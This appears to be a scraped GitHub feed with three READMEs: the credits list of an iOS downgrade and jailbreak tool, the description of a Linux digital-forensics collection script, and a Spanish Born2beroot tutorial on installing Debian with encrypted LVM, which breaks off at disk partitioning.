<li><strong>macOS</strong> 10.13 and newer (10.15 and newer recommended)</li>
</ul>
<h2>Tools and other stuff used</h2>
<ul>
<li>curl</li>
<li>bspatch</li>
<li><a href="https://github.com/dora2-iOS/powdersn0w_pub">powdersn0w_pub</a> - dora2ios; <a href="https://github.com/LukeZGD/powdersn0w_pub">LukeZGD fork</a>
<ul>
<li><a href="https://github.com/kok3shidoll/untitled">Most of the exploit ramdisks used are from kok3shidoll's repo</a></li>
<li><a href="https://github.com/Ralph0045/iloader">5C 7.0.x exploit ramdisk is from Ralph0045's iloader repo</a></li>
<li><a href="https://github.com/Ralph0045/iBoot-5-Stuff">iPad 1 exploit ramdisk is from Ralph0045's iBoot-5-Stuff repo</a></li>
</ul> </li>
<li><a href="https://github.com/LukeZGD/ipwndfu">ipwndfu</a> - axi0mX, Linus Henze, synackuk; LukeZGD fork</li>
<li><a href="https://github.com/dora2-iOS/ipwnder_lite/tree/7265a06d184e433989db640d5e83ea58d5862609">ipwnder_lite</a> - dora2ios (used on macOS)</li>
<li><a href="https://github.com/dora2-iOS/iPwnder32/tree/243ea5c6d1bd15f8bdd0b3a1ff4a7729bc14bac4">iPwnder32</a> - dora2ios (old version with libusb used on Linux)</li>
<li><a href="https://github.com/0x7ff/gaster/">gaster</a> - 0x7ff</li>
<li><a href="https://github.com/dora2-iOS/daibutsuCFW">daibutsuCFW</a> - dora2ios; <a href="https://github.com/LukeZGD/daibutsuCFW">LukeZGD fork</a></li>
<li><a href="https://github.com/kok3shidoll/daibutsu">daibutsu</a> - dora/kok3shidoll, Clarity</li>
<li><a href="https://github.com/libimobiledevice/libimobiledevice">libimobiledevice</a> - libimobiledevice</li>
<li><a href="https://github.com/libimobiledevice/libirecovery">libirecovery</a> - libimobiledevice</li>
<li><a href="https://github.com/libimobiledevice/libideviceactivation">libideviceactivation</a> - libimobiledevice</li>
<li><a href="https://github.com/tihmstar/tsschecker">tsschecker</a> - tihmstar; <a href="https://github.com/1Conan/tsschecker">1Conan fork</a> v413</li>
<li><a href="https://github.com/tihmstar/futurerestore">futurerestore</a> - tihmstar;
<ul>
<li><a href="https://github.com/LukeZGD/futurerestore">LukeZGD fork</a> used on Linux for restoring 32-bit devices</li>
<li><a href="https://github.com/LukeeGD/futurerestore">LukeeGD fork</a> used on Linux for restoring A7/A8 devices</li>
</ul> </li>
<li><a href="https://github.com/dora2-iOS/iBoot32Patcher/">iBoot32Patcher</a> - dora2ios fork</li>
<li><a href="https://github.com/libimobiledevice/idevicerestore">idevicerestore</a> - libimobiledevice; <a href="https://github.com/LukeZGD/idevicerestore">LukeZGD fork</a></li>
<li><a href="https://github.com/LukeZGD/daibutsuCFW/tree/main/src/idevicererestore">idevicererestore</a> from daibutsuCFW (used on custom IPSW restores for A5/A6 devices)</li>
<li><a href="https://www.youtube.com/watch?v=fh0tB6fp0Sc">kloader from Odysseus</a></li>
<li><a href="https://github.com/axi0mX/ios-kexec-utils/raw/master/kloader">kloader from axi0mX</a> (used on iOS 4/5 only)</li>
<li><a href="https://www.pmbonneau.com/cydia/com.pmbonneau.kloader5_1.2_iphoneos-arm.deb">kloader for iOS 5</a></li>
<li><a href="https://twitter.com/nyan_satan/status/945203180522045440">kloader_hgsp from nyan_satan</a> (used on h3lix only)</li>
<li><a href="https://github.com/jqlang/jq">jq</a></li>
<li><a href="https://github.com/tihmstar/partialZipBrowser">partialZipBrowser</a></li>
<li><a href="https://github.com/GNOME/zenity">zenity</a>; <a href="https://github.com/ncruces/zenity">macOS build</a></li>
<li>32-bit bundles from <a href="https://www.youtube.com/watch?v=Wo7mGdMcjxw">OdysseusOTA</a>, <a href="https://www.youtube.com/watch?v=fh0tB6fp0Sc">OdysseusOTA2</a>, <a href="https://www.mediafire.com/folder/b1z64roy512wd/FirmwareBundles">alitek12</a>, <a href="https://www.reddit.com/r/jailbreak/comments/6yrzzj/release_firmware_bundles_for_ios_841_ipad21234567/">gjest</a> (modified bundles for daibutsuCFW)</li>
<li>A7 patches from <a href="https://github.com/MatthewPierson/iPhone-5s-OTA-Downgrade-Patches">MatthewPierson</a></li>
<li>iPad 2 iOS 4.3.x bundles from <a href="https://www.reddit.com/r/LegacyJailbreak/comments/1172ulo/release_ios_4_ipad_2_odysseus_firmware_bundles/">selfisht, Ralph0045</a></li>
<li><a href="https://sourceforge.net/project/sshpass">sshpass</a></li>
<li>Bootstrap tar from <a href="https://invoxiplaygames.uk/projects/spiritnet/">SpiritNET</a></li>
<li><a href="https://cydia.invoxiplaygames.uk/package/cydiahttpatch">Cydia HTTPatch</a> for 3.1.3 downgrades/jailbreaks</li>
<li><a href="https://www.theiphonewiki.com/wiki/Pangu">Pangu</a></li>
<li><a href="https://www.theiphonewiki.com/wiki/p0sixspwn">p0sixspwn</a></li>
<li><a href="https://www.theiphonewiki.com/wiki/Evasi0n">evasi0n</a></li>
<li><a href="https://github.com/g1lbertJB/g1lbertJB">g1lbertJB</a></li>
<li><a href="https://www.theiphonewiki.com/wiki/UntetherHomeDepot">UntetherHomeDepot</a></li>
<li><a href="https://github.com/OpenJailbreak/greenpois0n/tree/0f1eac8e748abb200fc36969e616aaad009f7ebf">greenpois0n</a></li>
<li>Some patches from <a href="https://www.theiphonewiki.com/wiki/PwnageTool">PwnageTool</a>, <a href="https://www.theiphonewiki.com/wiki/sn0wbreeze">sn0wbreeze</a>, <a href="https://www.theiphonewiki.com/wiki/redsn0w">redsn0w</a></li>
<li>SSH Ramdisk tars from <a href="https://github.com/Ralph0045/SSH-Ramdisk-Maker-and-Loader">SSH-Ramdisk-Maker-and-Loader</a> and <a href="https://github.com/msftguy/ssh-rd">msftguy's ssh-rd</a></li>
</ul>
+ vm32/Digital-Forensics-Script-for-Linux
+ 2023-12-13T01:44:16Z
+ tag:github.com,2023-12-13:/vm32/Digital-Forensics-Script-for-Linux
+
+ <p></p><hr><h1>Digital Forensics Script for Linux</h1>
<p>This repository contains an advanced Bash script designed for conducting digital forensics on Linux systems. The script automates the collection of a wide range of system and user data, making it a valuable tool for IT professionals, system administrators, and digital forensic investigators.</p>
<h2>Features</h2>
<ul>
<li><strong>System Information</strong>: Collects basic system information including uptime, startup time, and hardware clock readouts.</li>
<li><strong>Operating System Details</strong>: Extract information about the operating system installation, including installer logs and file system details.</li>
<li><strong>Network Information</strong>: Gathers network configuration, IP addresses, and network interface details.</li>
<li><strong>Installed Programs</strong>: Lists all installed packages using both <code>rpm</code> and <code>apt</code>.</li>
<li><strong>Hardware Information</strong>: Retrieves detailed information about PCI devices, hardware summaries, and BIOS data.</li>
<li><strong>System Logs</strong>: Captures system journal logs and the contents of the <code>/var/log</code> directory.</li>
<li><strong>User Data</strong>: Extracts user-specific data like recently used files and bash command history and zsh command history.</li>
<li><strong>Memory Dump</strong>: Performs a memory dump for detailed analysis.</li>
<li><strong>Process Information</strong>: Captures information about current running processes.</li>
<li><strong>User Login History</strong>: Records user login history and scheduled tasks.</li>
<li><strong>Secure Output Handling</strong>: Compresses and encrypts the gathered data for security.</li>
</ul>
<h2>Usage</h2>
<ol>
<li><strong>Set Permissions</strong>: Ensure the script is executable: <pre><code class="language-bash">sudo apt-get install util-linux # For Debian/Ubuntu
sudo yum install util-linux # For CentOS/RHEL
chmod +x DFLinux.sh
sudo ./DFLinux.sh
</code></pre> Output: Check the specified output directory for the collected data.</li>
</ol>
<h2>Requirements</h2>
<ul>
<li>The script is intended for use on Linux systems.</li>
<li>Please make sure you have the necessary permissions to execute the script and access system files.</li>
<li>Required tools: dump, gpg, netstat, ifconfig, lshw, dmidecode, etc., should be installed.</li>
</ul>
<h2>Security and Privacy</h2>
<ul>
<li>The script compresses and encrypts the output data. Replace <code>YOUR_PASSPHRASE</code> in the script with a secure passphrase of your choice. Ensure you handle and store the collected data responsibly, adhering to relevant laws and regulations.</li>
</ul>
<h2>Linux Distribution Compatibility</h2>
<p>The advanced digital forensics Bash script is designed to be compatible with most major Linux distributions. Below is a breakdown of compatibility across different types of distributions:</p>
<h3>Debian-based distributions (e.g., Ubuntu, Linux Mint)</h3>
<ul>
<li>Utilizes <code>apt</code> for listing installed packages, which is specific to Debian-based systems.</li>
<li>Most other commands (like <code>ifconfig</code>, <code>netstat</code>, <code>lspci</code>, <code>lshw</code>, <code>dmidecode</code>) are generally available or can be easily installed.</li>
</ul>
<h3>Red Hat-based distributions (e.g., Fedora, CentOS, RHEL)</h3>
<ul>
<li>Includes <code>rpm -qa</code> for listing installed RPM packages, catering to Red Hat-based systems.</li>
<li>Other commands are typically available, but installation of certain tools might be necessary if they are not present by default.</li>
</ul>
<h3>Arch Linux and derivatives (e.g., Manjaro)</h3>
<ul>
<li>The script does not include a specific command for <code>pacman</code>, but this can be added (<code>write_output "pacman -Q" "pacman_installed_packages.txt"</code>).</li>
<li>Other commands should function as expected, assuming necessary tools are installed.</li>
</ul>
<h3>Other distributions</h3>
<ul>
<li>Compatibility depends on the availability of specific tools and commands used in the script.</li>
<li>Modifications may be needed based on the distribution's package management system and available utilities.</li>
</ul>
<h3>Additional Notes</h3>
<ul>
<li>The script uses traditional networking tools like <code>ifconfig</code> and <code>netstat</code>. Some newer distributions might prefer <code>ip</code> and <code>ss</code>, requiring modifications to those commands.</li>
<li>Root access is generally required for many of the script's operations.</li>
<li>It is recommended to test the script in a controlled environment on your specific distribution to ensure compatibility and make any necessary adjustments.</li>
</ul>
<h1>Output</h1>
<p>You can see the results of this script in <code>/tmp/ExtractedInfo/</code> <img src="https://github.com/vm32/Digital-Forensics-Script-for-Linux/assets/21219411/1cec4fec-f57f-4cc4-9a0f-bb2a98e5d807" alt="Screenshot_44"></p>
<p>In summary, while the script should work on most major Linux distributions with minimal modifications, slight adjustments may be required for specific distributions, particularly those not based on Debian or Red Hat.</p>
+
+
+ gemartin99/Born2beroot-Tutorial
+ 2023-12-13T01:44:16Z
+ tag:github.com,2023-12-13:/gemartin99/Born2beroot-Tutorial
+
+ <p>Tutorial to install Debian virtual machine with functional WordPress site with the following services: lighttpd, MariaDB, PHP and Litespeed.</p><hr><h1>Born2beroot-Tutorial 🖥🇪🇸</h1>
<p>This guide has versions in different languages. Choose the one you prefer.</p>
<h3>English version 🇬🇧</h3>
<p><img src="https://github.com/gemartin99/Born2beroot-Tutorial/raw/main/README_EN.md" alt="CLICK HERE"></p>
<h3>Versão portuguesa 🇵🇹</h3>
<p><img src="https://github.com/gemartin99/Born2beroot-Tutorial/raw/main/README_POR.md" alt="CLIQUE AQUI"></p>
<h1>Índice</h1>
<ol>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#1--descargar-imagen-de-la-maquina-virtual-">Descargar imagen de la maquina virtual 💿</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#2--instalacion-de-la-maquina-">Instalación de la maquina 💻</a></p> <p>2.1 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#2-1-instalacion-de-la-maquina-con-virtual-box-">Instalación de la maquina con Virtual Box 📦</a></p> <p>2.2 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#2-2-instalacion-de-la-maquina-con-vmware-%EF%B8%8F">Instalación de la maquina con VMware ☁️</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#3--instalaci%C3%B3n-debian-">Instalación Debian 🌀</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#4-configuraci%C3%B3n-de-la-m%C3%A1quina-virtual-%EF%B8%8F">Configuración de la máquina virtual ⚙️</a></p> <p>4.1 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#41---instalaci%C3%B3n-de-sudo-y-configuraci%C3%B3n-de-usuarios-y-grupos-">Instalación de sudo y configuración de usuarios y grupos 👤</a></p> <p>4.2 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#42---instalaci%C3%B3n-y-configuraci%C3%B3n-ssh-">Instalación y configuración de SSH 📶</a></p> <p>4.3 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#4-3-instalaci%C3%B3-y-configuraci%C3%B3n-de-ufw-">Instalación y configuración de UFW 🔥🧱</a></p> <p>4.4 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#4-4-configurar-contrase%C3%B1a-fuerte-para-sudo-">Configurar contraseña fuerte para sudo 🔒</a></p> <p>4.5 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#4-5-configuraci%C3%B3n-de-pol%C3%ADtica-de-contrase%C3%B1as-fuerte-">Configuración de política de contraseñas fuerte 🔑</a></p> <p>4.6 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#4-6-conectarse-via-ssh-">Conectarse via SSH 🗣</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#5--script-">Script 🚨</a></p> <p>5.1 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#5-13-resultado-total-del-script">Resultado total del script 🆗</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#6--crontab-">Crontab ⏰</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#7--signaturetxt-">Signature.txt 📝</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#8--bonus-%EF%B8%8F">Bonus ⭐</a></p> <p>8.1 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#81--particionado-manual-del-disco">Particionado manual del disco 🛠</a></p> <p>8.2 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#82---wordpress-y-configuraci%C3%B3n-de-servicios-">Wordpress y configuración de servicios 🌐</a></p> <p>8.3 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#83---servicio-adicional-">Servicio adicional ➕</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#9--hoja-de-correcci%C3%B3n-">Hoja de corrección ✅</a></p> <p>9.1 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#9-1-respuestas-de-la-evaluaci%C3%B3n-">Respuestas de la evaluación 💯</a></p> <p>9.2 <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#9-2-comandos-de-la-evaluaci%C3%B3n-%EF%B8%8F">Comandos de la evaluación ⌨️</a></p> </li>
<li> <p><a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#10--tester-">Tester 🆗</a></p> </li>
</ol>
<h2>1- <em>Descargar imagen de la maquina virtual</em> 💿</h2>
<p><a href="https://www.debian.org/distrib/index.es.html">Click aqui</a> para redireccionarte a la URL donde puedes descargar la ISO de manera segura.</p>
<h2>2- Instalacion de la maquina 🛠</h2>
<p>Según el subject es OBLIGATORIO hacer este proyecto con Virtual Box. Pero si por algun problema técnico en tu campus no esta disponible Virtual Box. Este tutorial cuenta con una versión para VMware.</p>
<p>Si quieres hacer la instalación con VMware haz <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#2-2-instalacion-de-la-maquina-con-vmware-%EF%B8%8F">Click aqui</a></p>
<h3>2-1 Instalacion de la maquina con Virtual Box 📦</h3>
<p>Para realizar la instalación se requiere de un software de virtualización. En este tutorial haremos uso de <a href="https://www.virtualbox.org/">VirtualBox</a>. Si ya tienes VirtualBox instalado y dispones de la ISO Debian ya podemos empezar con el tutorial.</p>
<p>1 ◦ Debemos abrir VirtualBox y pinchar sobre <code>Nueva</code></p>
<img width="836" alt="Captura de pantalla 2022-07-13 a las 18 02 05" src="https://user-images.githubusercontent.com/66915274/178779265-38eade6e-2789-4597-89e9-5beca2d3921a.png">
<p>2 ◦ Escogemos el nombre de nuestra máquina y la carpeta donde estará ubicada. Importante introducir la maquina dentro de la carpeta sgoinfre ya que si no la ubicamos ahí nos quedaremos sin espacio y fallará la instalación (dependiendo del campus la ruta de sgoinfre puede cambiar).</p>
<img width="694" alt="Screen Shot 2022-11-18 at 2 30 18 PM" src="https://user-images.githubusercontent.com/66915274/202716278-394d5ce7-1f61-4146-a1b5-1e15ed005778.png">
<p>3 ◦ Seleccionamos la cantidad de memoria RAM que reservaremos para la máquina.</p>
<img width="685" alt="Captura de pantalla 2022-07-13 a las 13 06 05" src="https://user-images.githubusercontent.com/66915274/178781098-8aa07fbc-e1d2-4bee-8021-ddf052880364.png">
<p>4 ◦ Seleccionamos la segunda opción para asi crear un disco duro virtual ahora.</p>
<img width="826" alt="Captura de pantalla 2022-07-13 a las 18 13 24" src="https://user-images.githubusercontent.com/66915274/178781390-289236e0-1732-4dd8-8d3d-34eb0a229a18.png">
<p>5 ◦ Escogemos la primera opción <code>VDI</code> ya que nos hemos descargado una imagen de disco.</p>
<img width="829" alt="Captura de pantalla 2022-07-13 a las 18 16 35" src="https://user-images.githubusercontent.com/66915274/178781999-a42c3c6c-bc1e-4ad5-8bc5-b4b3f811c3f2.png">
<p>6 ◦ Seleccionamos la primera opción <code>Reservado dinámicamente</code> para que asi se vaya reservando memoria en la máquina real segun vayamos utilizandola en la virtual hasta llegado al límite máximo disponible en la virtual.</p>
<img width="833" alt="Captura de pantalla 2022-07-13 a las 18 19 33" src="https://user-images.githubusercontent.com/66915274/178782529-fb309739-3169-4e20-b3e1-23d17a122a18.png">
<p>7 ◦ Una vez hayamos establecido la cantidad recomendada <code>12 GB</code> deberemos darle a <code>Crear</code>. Si haremos el bonus seleccionaremos <code>30 GB</code>.</p>
<img width="835" alt="Captura de pantalla 2022-07-13 a las 18 25 20" src="https://user-images.githubusercontent.com/66915274/178783666-4fa624a3-9c38-4c45-b6a8-d476c2864200.png">
<p>8 ◦ Puede parecer que ya hemos terminado la instalación , pero todavía faltan un par de pasos más. Debemos darle a configuración</p>
<img width="831" alt="Captura de pantalla 2022-07-13 a las 18 30 46" src="https://user-images.githubusercontent.com/66915274/178784822-38228e96-ca37-4cc0-b3ca-551829e4c8c8.png">
<p>9 ◦ Acto seguido pincharemos encima de <code>Almacenamiento</code> , volveremos a pinchar sobre el emoticono 💿 que se encuentra a la derecha y de nuevo pincharemos sobre <code>Seleccionar un archivo de disco</code>.</p>
<img width="962" alt="Captura de pantalla 2022-07-13 a las 18 33 28" src="https://user-images.githubusercontent.com/66915274/178785148-2904cf4f-93c0-4866-a5d6-778390bddeb7.png">
<p>10 ◦ Seleccionaremos la ISO que acabamos de descargar y le damos a <code>Abrir</code> y después le daremos a <code>Aceptar</code>.</p>
<img width="790" alt="Captura de pantalla 2022-07-13 a las 18 38 39" src="https://user-images.githubusercontent.com/66915274/178786115-24f93fde-bc01-4e60-bf8d-20d7a5ae83be.png">
<ol start="11">
<li>◦ Una vez completados todos los pasos anteriores ya podemos <code>Iniciar</code> nuestra máquina virtual.</li>
</ol>
<img width="833" alt="Captura de pantalla 2022-07-13 a las 18 44 55" src="https://user-images.githubusercontent.com/66915274/178787317-aab80b53-8244-4ede-9c75-11fcf4efdd1c.png">
<br>
<br>
<br>
<br>
<h3>2-2 Instalacion de la maquina con VMware ☁️</h3>
<p>1 ◦ Debemos abrir VMware y pinchar sobre <code>New</code>.</p>
<img width="995" alt="Screen Shot 2023-12-05 at 8 56 46 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/7a3a1afb-7c8d-4b11-b1a5-8d2633061822">
<p>2 ◦ Se nos habrá abierto una pestaña. Ahora debemos arrastrar la ISO de Debian que hemos descargado en el paso 1.</p>
<img width="1129" alt="Screen Shot 2023-12-05 at 9 18 17 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/62d83435-566c-48e2-bee5-f281c9afcfbe">
<p>3 ◦ Le damos a <code>continue</code> y indicamos el sistema operativo que usaremos.</p>
<img width="636" alt="Screen Shot 2023-12-05 at 9 20 19 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/92dd9310-e189-4de6-8254-ef855400ca88">
<p>4 ◦ Seleccionamos <code>Debian 10.x 64 bits</code>.</p>
<img width="636" alt="Screen Shot 2023-12-05 at 9 20 38 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/2cf3dbfe-5087-4b94-a11a-d383e9c1e85b">
<p>5 ◦ Seleccionaremos <code>Legacy BIOS</code>. Este paso es importante ya que si escogemos UEFI o UEFI Secure Boot las particiones no quedarán como específica el subject ya que crea una partición nueva. Con la opción Legacy Bios no se creará ninguna partición específica.</p>
<img width="635" alt="Screen Shot 2023-12-05 at 9 20 50 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/f3c62336-e5a9-4a73-b121-f099d61db4af">
<p>6 ◦ Antes de finalizar la instalación debemos escoger la ruta donde almacenaremos nuestra maquina virtual. Le daremos a <code>Customize Settings</code>.</p>
<img width="570" alt="Screen Shot 2023-12-05 at 9 57 59 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/73ce3856-d388-4624-9c28-6c425d98a624">
<p>7 ◦ Cambiamos el nombre de la maquina a Born2beroot y pincharemos sobre la flecha para poder escoger la ruta donde almacenaremos la maquina.</p>
<img width="577" alt="Screen Shot 2023-12-05 at 9 56 44 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/c623c942-8c87-4f5a-a6b3-b08562b9df40">
<p>8 ◦ Para que no nos quite espacio de nuestro usuario la almacenaremos en el sgoinfre, es importante que crees una carpeta con tu login y que tenga los permisos necesarios. Una vez la tengas almacenaremos nuestra maquina virtual en esa ruta. En mi caso esta es la ruta, quizás en tu campus es diferente!</p>
<img width="1260" alt="Screen Shot 2023-12-05 at 9 23 44 PM" src="https://github.com/gemartin99/Born2beroot-Tutorial/assets/66915274/7589f92e-cdc5-48e0-871b-194eaf3ea322">
<h2>3- Instalación Debian 🌀</h2>
<p>➤ Espera❗️ Tu vista es muy importante 👀❗️ Para poder hacer la ventana más grande debes hacer lo siguiente:</p>
<img width="666" alt="Captura de pantalla 2022-07-13 a las 18 51 41" src="https://user-images.githubusercontent.com/66915274/178788620-61064b58-0c0c-4f48-815e-60b4a8eaecae.png">
<p>Utiliza la tecla <code>command</code> para que la captura del ratón pase de la maquina real a la virtual y al reves.</p>
<h3>Sigamos con la instalación 🛠</h3>
<p>1 ◦ Escogeremos la version sin interfaz gráfica <code>Install</code> ya que el subject indica que no se utilice ninguna Cada vez que queramos confirmar algo presionaremos <code>Enter</code> y para movernos por las opciones utilizaremos las flechas.</p>
<img width="632" alt="Captura de pantalla 2022-07-13 a las 18 58 48" src="https://user-images.githubusercontent.com/66915274/178789643-e987c6d0-5b6f-4b98-ad4a-5c092a352183.png">
<p>2 ◦ Escogeremos el idioma que usaremos para la instalación y el predeterminado que se le quedará al sistema <code>English</code>.</p>
<img width="794" alt="Captura de pantalla 2022-07-13 a las 19 00 41" src="https://user-images.githubusercontent.com/66915274/178789949-4fe83ac8-23b8-4f82-a034-a6d5e81d4f17.png">
<p>3 ◦ Introducimos nuestro País, territorio o zona. En mi caso pondre <code>Other</code>.</p>
<img width="791" alt="Captura de pantalla 2022-07-13 a las 19 07 50" src="https://user-images.githubusercontent.com/66915274/178791067-44230a4c-e647-46cb-9d6f-bc441bf0227b.png">
<p>4 ◦ Como he seleccionado other debo indicar mi continente o region. En mi caso pongo <code>Europe</code> 🇪🇺.</p>
<img width="797" alt="Captura de pantalla 2022-07-13 a las 19 09 58" src="https://user-images.githubusercontent.com/66915274/178791387-78171f90-2834-42ab-aedb-9cf900d0ecd5.png">
<p>5 ◦ Seleccionamos el país. En mi caso <code>Spain</code> 🇪🇸.</p>
<img width="793" alt="Captura de pantalla 2022-07-13 a las 19 12 01" src="https://user-images.githubusercontent.com/66915274/178791824-7a34813c-eae9-4b5c-9873-cea158229e07.png">
<p>6 ◦ Seleccionamos <code>United States</code>.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 19 13 43" src="https://user-images.githubusercontent.com/66915274/178792054-4e72dfdd-8175-48f9-a06d-f2696fa752e3.png">
<p>7 ◦ Importante seleccionar <code>American English</code> como configuración de teclado ya que si no tendremos las teclas mal enlazadas.</p>
<img width="793" alt="Captura de pantalla 2022-07-13 a las 19 02 21" src="https://user-images.githubusercontent.com/66915274/178790230-d2571d4f-a546-4b43-bd44-c6a591d92d72.png">
<p>8 ◦ En este paso debemos elegir el <code>Host Name</code> de la máquina, el cual debe ser tu login seguido de 42.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 19 17 23" src="https://user-images.githubusercontent.com/66915274/178792607-1cc585eb-ae32-4b2c-97fd-4fcf5bad4262.png">
<p>9 ◦ Este apartado lo dejaremos vacío ya que el subject no mencionada nada de <code>Domain name</code>.</p>
<img width="792" alt="Captura de pantalla 2022-07-13 a las 19 20 29" src="https://user-images.githubusercontent.com/66915274/178793113-b0934aac-fac4-4844-8412-aca124038fd0.png">
<p>10 ◦ Debemos introducir una contraseña para la cuenta de administración del sistema. Importante apuntarla o hacer una foto ya que le daremos uso. Si quieres ver la contraseña para asegurarte de que la has escrito correctamente debes tabular hasta llegar a la opción <code>Show Password in Clear</code> debes darle a la barra espaciadora y se mostrara la clave.</p>
<img width="760" alt="Screen Shot 2022-11-18 at 2 32 55 PM" src="https://user-images.githubusercontent.com/66915274/202716754-cf30a8b0-0f3b-4aca-803e-57416a1667fa.png">
<p>11 ◦ Repetimos el proceso de nuevo para comprobar que no la hayamos escrito mal.</p>
<img width="751" alt="Screen Shot 2022-11-18 at 2 33 15 PM" src="https://user-images.githubusercontent.com/66915274/202716814-df6aa34a-e118-47cd-ac7e-ff7d35a3ef90.png">
<p>12 ◦ Elegimos el nombre de nuestro nuevo usuario. Como indica el subject hay que crear un usuario adicional que no sea el root con nuestro login, por ese motivo llamaré <code>gemartin</code> a mi nuevo usuario.</p>
<img width="794" alt="Captura de pantalla 2022-07-13 a las 19 26 20" src="https://user-images.githubusercontent.com/66915274/178794178-901f7951-a978-458d-a925-4586026784f7.png">
<p>Volvemos a poner el nombre de usuario.</p>
<p><img src="https://user-images.githubusercontent.com/66915274/182679675-4d3805a9-34c9-4ba3-9488-1a7fe30f2519.png" alt="image"></p>
<p>13 ◦ Ahora debemos introducir la contraseña de nuestro nuevo usuario. Como la anterior , repetiremos el proceso para comprobar que no la hayas escrito mal y tambien es importante que la guardes porque le daremos uso más adelante.</p>
<img width="790" alt="Captura de pantalla 2022-07-13 a las 19 30 08" src="https://user-images.githubusercontent.com/66915274/178794862-94de8c7a-282e-4a83-9903-d3b8439122ea.png">
<p>14 ◦ Seleccionamos la hora de nuestra ubicación.</p>
<img width="796" alt="Captura de pantalla 2022-07-13 a las 19 31 41" src="https://user-images.githubusercontent.com/66915274/178795105-956854e1-deff-4851-8eba-26cdefb1e06f.png">
<p>15 ◦ Esocgeremos la tercera opción <code>Guied - use entire disk and set up encrypted LVM</code> ya que el subject nos dice que deben ser particiones cifradas. ⚠️❗️ Si quieres hacer el bonus deberás darle a <code>Manual</code> y <a href="https://raw.githubusercontent.com/gemartin99/Born2beroot-Tutorial/main/#8--bonus-%EF%B8%8F">hacer click aquí</a> ❗️⚠️</p>
<img width="796" alt="Captura de pantalla 2022-07-13 a las 19 33 13" src="https://user-images.githubusercontent.com/66915274/178795367-b82018de-edc8-47d3-8cd6-b90c5e3be2fa.png">
<p>16 ◦ Seleccionamos el disco en el que queremos hacer el particionado (Solo debe haber un disco).</p>
<img width="789" alt="Captura de pantalla 2022-07-13 a las 19 40 03" src="https://user-images.githubusercontent.com/66915274/178796481-29ef7ebc-0518-40f0-9429-3f43316b35d3.png">
<p>17 ◦ Una vez hayamos escogido el disco deberemos hacer el particionado tal y como nos piden. Para realizarlo adecuadamente debemos seleccionar la segunda opción <code>Separate /home partition</code>.</p>
<img width="787" alt="Screen Shot 2023-03-08 at 1 44 16 PM" src="https://user-images.githubusercontent.com/66915274/223716446-9ffb6f66-1ad3-4bfe-81ce-1f297bed0ede.png">
<p>18 ◦ Esocgemos la opción <code>Yes</code> para que asi se escriban los cambios en el disco y podamos configurar el gestor de volumenes lógicos (LVM).</p>
<img width="777" alt="Captura de pantalla 2022-07-13 a las 19 44 30" src="https://user-images.githubusercontent.com/66915274/178797258-8c34bc31-16a7-4aef-8406-cecc21fdf028.png">
<p>19 ◦ Le damos a Cancel ya que el borrado de datos en el disco no es necesario.</p>
<img width="782" alt="Captura de pantalla 2022-07-13 a las 19 46 45" src="https://user-images.githubusercontent.com/66915274/178797666-78cdf892-1a83-4c68-8f85-0d5440cd4854.png">
<p>20 ◦ De nuevo deberemos poner una contraseña, esta vez será la frase de encriptación. Como te he comentado previamente deberás repetir el proceso y la debes anotar ya que será importante en un futuro.</p>
<img width="777" alt="Captura de pantalla 2022-07-13 a las 19 51 17" src="https://user-images.githubusercontent.com/66915274/178798491-4c9b4a0c-d698-47c7-9579-10b16aa47275.png">
<p>21 ◦ En este paso debemos introducir la cantidad de volumen que usaremos para la partición guiada. Debemos introducir <code>max</code> o el numero de tamaño maximo disponible en mi caso es <code>12.4 GB</code>.</p>
<img width="794" alt="Captura de pantalla 2022-07-13 a las 19 55 02" src="https://user-images.githubusercontent.com/66915274/178799165-c6b05fd2-86ad-45b7-a026-9ee169eda5d5.png">
<p>22 ◦ Para finalizar la partición y escribir los cambios en el disco le daremos a la opción <code>Finish partitioning and write changes to disk</code>.</p>
